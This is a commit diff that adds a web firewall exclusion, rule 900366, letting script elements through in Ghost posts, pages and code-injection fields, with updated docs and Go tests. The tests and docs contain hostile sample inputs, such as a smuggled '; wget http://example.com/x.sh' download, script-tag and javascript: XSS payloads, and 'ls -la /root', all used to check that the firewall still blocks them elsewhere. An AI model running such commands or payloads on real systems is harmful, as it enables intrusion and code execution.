Compare commits

...
1 Commits
Author SHA1 Message Date
sneak 3aa9027686 Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Waiting to run
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5
2026-11-12 04:17:22 +00:00
3 changed files with 110 additions and 18 deletions

No files matched your search

+14 -5
View File
@@ -1792,11 +1792,20 @@ Code injection skips these rules:
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>` - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements. elements.
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
articles and code injection (941110, 941170 and 941210). Path traversal and SQL card can embed a widget and code injection can load analytics. These are the
injection are still refused in every field above. Script injection is too, fields, on the Admin API:
outside the articles. `; wget http://example.com/x.sh` is still refused in the
query fields, the plain text and the addresses. - `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
text and the addresses.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`. Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name That name holds `.profile`, a file on the list of system files, so the name
+19 -3
View File
@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for # snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse # reuse
# newsletters.<n>.footer_content, the footer of a newsletter # newsletters.<n>.footer_content, the footer of a newsletter
# A <script> element (941110) and a javascript: link (941170, 941210) are still # A javascript: link (941170, 941210) is still refused in them. A <script>
# refused in them. # element (941110) passes only in posts and pages, by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain" "id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \ SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,7 +184,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# These fields hold it, and skip the rules anywhere on the Admin API: # These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages # posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting # settings.<n>.value, the value of a setting
# A <script> element and a javascript: link are still refused in them. # A javascript: link is still refused in them, and a <script> element passes
# by 900366.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain" "id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \ SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -200,6 +201,21 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\ ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/" ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# Saving a staff user's profile sends the field profile_image, whose name holds # Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120). # .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
+77 -10
View File
@@ -143,10 +143,11 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`}, {http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
} }
// ghostArticleFields hold an article and skip the rules of 900355. // ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = []ghostField{ var ghostPostFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`}, {http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{ {
@@ -155,6 +156,13 @@ var ghostArticleFields = []ghostField{
`{"posts":[{"html":"VALUE"}]}`, `{"posts":[{"html":"VALUE"}]}`,
}, },
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`}, {http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}
// ghostSnippetFields hold a snippet or a newsletter's footer, skip the rules
// of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetFields = []ghostField{
{ {
http.MethodPost, http.MethodPost,
"/ghost/api/admin/snippets/", "/ghost/api/admin/snippets/",
@@ -167,8 +175,13 @@ var ghostArticleFields = []ghostField{
}, },
} }
// ghostCodeFields hold code injection or a setting and skip the rules of // ghostArticleFields hold an article and skip the rules of 900355.
// 900356. //
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(ghostPostFields, ghostSnippetFields)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
// and take a <script> element by 900366.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{ var ghostCodeFields = []ghostField{
@@ -335,11 +348,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false) url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
} }
// ghostAttacks are an SQL injection, a path traversal and a script // ghostWidget is an HTML card that embeds a widget with its script.
// injection, not escaped. const ghostWidget = `<div id="signup"></div>` +
`<script src="https://widgets.example.com/form.js" async></script>`
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
`"html":"<div id=\"signup\"></div><script ` +
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
`src="https://analytics.example.com/script.js"></script>`
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
t.Parallel()
// An HTML card in a post, as the editor saves it, and as integrations
// send it.
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
for _, f := range ghostPostFields {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's or a page's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
}
// ghostAttacks are an SQL injection and a path traversal, not escaped.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal, scriptTag} var ghostAttacks = []string{injection, pathTraversal}
// commandAfterASeparator is a shell command after a ";", not escaped. // commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh" const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -358,6 +401,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
} }
} }
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostSnippetFields) {
wantGhostField(t, f, scriptTag, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever its rules do not // A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses. // misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) { for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
@@ -372,13 +426,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
) )
} }
// The articles and code injection carry HTML on purpose, but a script // The articles and code injection carry HTML on purpose, but a
// element and a javascript: link are still refused there. // javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) { for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true) wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
} }
for _, f := range ghostSnippetFields {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address keeps 932250, which refuses a listing of files. // An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields { for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true) wantGhostField(t, f, "ls -la /root", true)
@@ -401,6 +459,9 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
) )
for _, refused := range []struct{ target, body string }{ for _, refused := range []struct{ target, body string }{
@@ -419,6 +480,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
ghostSettings + "?json.settings.0.value=x", ghostSettings + "?json.settings.0.value=x",
`{"settings":[{"value":"<meta name=x content=y>"}]}`, `{"settings":[{"value":"<meta name=x content=y>"}]}`,
}, },
{"/ghost/api/content/posts/", scriptInPost},
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`}, {"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email}, {ghostPosts, email},